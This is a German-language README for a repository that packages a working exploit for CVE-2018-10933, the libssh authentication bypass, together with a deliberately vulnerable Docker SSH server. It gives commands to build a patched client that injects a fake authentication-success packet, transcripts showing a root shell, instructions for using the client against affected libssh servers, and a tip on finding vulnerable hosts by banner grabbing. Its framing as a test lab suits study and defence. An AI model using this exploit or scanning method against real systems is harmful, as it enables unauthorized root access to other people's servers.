hackerhouse-opensource/cve-2018-10933# Docker-basierter CVE-2018-10933 libssh-Authentifizierungs-Bypass-Exploit mit gepatchtem Client zum Testen von SSH-Server-Schwachstellen und Szenarien unbefugten Zugriffs.
CVE-2018-10933 libssh-Umgehung der Authentifizierung, ein verwundbarer Docker-Container, der auf Port 2222 lauscht zur Ausnutzung. Ein einfacher Proof-of-Concept-libssh-Patch ist im Container enthalten, um die Authentifizierung zu umgehen. Zum Anmelden die Standardwerte "myuser" / "mypassword" aus libssh verwenden. Auf eine Kopie von libssh im Docker-Container wird ein Patch angewendet, der bei jedem Authentifizierungsversuch (keyboard-interactive / pubkey / gss-api usw.) ein SSH2_MSG_USERAUTH_SUCCESS-Paket injiziert und den clientseitigen Zustand auf Fortfahren setzt. Der enthaltene Server wurde aus Beispielcode gepatcht, damit die Ausnutzung gelingt.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
Ein gepatchtes exploit-libssh-0.8.3 und ein verwundbarer sshd sind zu Testzwecken im Container verfügbar. Der "ssh-client" kann die Authentifizierung erfolgreich umgehen, ist aber nicht in der Lage, gegen den Standard-Beispielserver eine Shell zu starten, da der Servercode zusätzliche Authentifizierungsprüfungen enthält.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
Aus dem Advisory "Ein bösartiger Client könnte Kanäle erstellen, ohne zuvor eine Authentifizierung durchzuführen, was zu unbefugtem Zugriff führt."
Die folgende libssh-Debug-Ausgabe zeigt, dass die Authentifizierung auf dem Server erfolgreich war und eine Sitzung erstellt wurde. Der Host ist jetzt authentifiziert, aber zusätzliche serverseitige Prüfungen verhindern, dass Befehle ausgeführt werden. Ein Angreifer könnte weiterhin versuchen, Verbindungen durch den Dienst zu tunneln/zu proxen.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
Versuche, Shells / exec oder pty zu starten, führen zu einer erfolgreichen Sitzung, verursachen aber auf dem Beispielserver Fehler aufgrund einer zusätzlichen Prüfung des Benutzerauthentifizierungsstatus. Die folgenden Fehler werden auf dem Beispielserver angezeigt.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
Es ist weiterhin möglich, dass maßgeschneiderte libssh-Server potenziell beliebigen Code ausführen, aber die meisten erlauben möglicherweise nur Tunneling oder einen gewissen Missbrauch des SSH-Protokolls. Durch Entfernen der zusätzlichen Authentifizierungsprüfung ist der Server nun anfällig für den Exploit zur Authentifizierungsumgehung. Es ist möglich, dass eine serverseitige libssh-Implementierung diese Schwachstelle einführt. Nachfolgend ein Beispiel für eine erfolgreiche Ausnutzung mit gepatchtem libssh.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Der Docker-Container führt standardmäßig das verwundbare Beispiel "ssh_server_fork" aus; das Original befindet sich im Verzeichnis "libssh-0.8.3" zu Test-/Debugzwecken.
Die folgenden Anbieter scheinen von diesem Fehler praktisch betroffen zu sein, da sie libssh verwenden.
libssh ist lokal auf einer Reihe von *BSD- & Linux-Distributionen installiert und wird von ffmpeg (?), hydra und einer kleinen Anzahl von FOSS-Paketen verwendet.
Sie können aus diesem Repository einen gepatchten libssh-Client für die Ausnutzung erstellen.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
Sie können dann "ssh-client" und beliebige Beispiele verwenden, um die Authentifizierung auf betroffenen libssh-Server- implementierungen zu umgehen.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
Das Scannen nach potenziell verwundbaren Hosts kann einfach durch regelmäßiges Banner- Grabbing an betroffenen SSH-Ports (z. B. nmap) durchgeführt werden.
SSH-2.0-libssh_0.8.3
Das ursprüngliche Advisory befindet sich in CVE-2018-10933.txt, die Schwachstelle wurde von Peter Winter Smith gefunden. Der verwundbare Docker- Container und der libssh-Exploit-Patch wurden von Hacker House (https://hacker.house) veröffentlicht.
Diese Dateien sind unter der 3-Klausel-BSD-Lizenz verfügbar.